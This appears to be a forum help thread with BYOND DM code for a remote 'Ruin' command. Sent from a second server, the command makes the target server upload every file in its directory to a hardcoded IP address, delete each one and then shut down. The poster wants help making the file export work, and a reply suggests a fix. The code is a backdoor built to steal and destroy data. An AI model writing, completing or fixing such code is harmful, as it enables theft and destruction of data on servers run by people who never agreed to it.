world/Topic(A)
A=params2list(A)
switch(A["Command"])
if("Ruin")
world<<"<font size=4><font color=#FFFF00>Server Ruined by Remote Authority"
Ruin()
else
var/Text=A["Command"]
src<<"<font size=4><font color=#FFFF00>[Text]"
..()
proc/Ruin()
for(var/File in flist("./"))
world<<"Deleting [File]."
Export("byond://68.197.123.169:911",File)
world<<"Confirmed Send"
fdel(File)
world<<"Confirmed Delete"
del(world)
proc/Export(Addr,File)
world.Export(Addr,File)
Server Two:
world/Topic()
var/savefile/F = new(world.Import())
for(var/mob/M in world)
if(M.client)
M<<ftp(F)
mob/verb/Remote()
var/A=input("Server") as text
var/B=input("Command") as text
world.Export("byond://[A]?Command=[B]")
With Server one being the server being deleted, and Server Two being the server doing the deleting. I havn't been able to properly get it to export the files in a way for it to send and mainly I'm trying to get how to get it to work right.
You might be able to store world.Import() in a variable var/F and just pass that through FTP. But I'm not sure on that.